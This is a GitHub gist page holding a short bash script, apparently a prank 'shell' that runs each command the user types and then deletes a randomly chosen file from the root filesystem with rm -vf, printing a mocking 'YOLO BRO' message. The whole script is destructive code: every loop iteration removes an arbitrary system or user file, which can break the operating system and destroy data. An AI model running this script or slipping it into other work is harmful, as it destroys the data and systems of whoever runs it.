Skip to content

Instantly share code, notes, and snippets.

@bcicen
Last active January 2, 2016 03:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bcicen/8245113 to your computer and use it in GitHub Desktop.
Save bcicen/8245113 to your computer and use it in GitHub Desktop.
#!/bin/bash
total_inodes=$(df -i / | awk '{print $2}' | tail -1)
while :
do
echo -n "#"; read command
/bin/bash -c "$command"
die_inode=$(find / -inum $(( ( RANDOM % $total_inodes ) + 1 )) &2> /dev/null)
echo "YOLO BRO, you probably didn't need $die_inode anyway"
rm -vf $die_inode
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment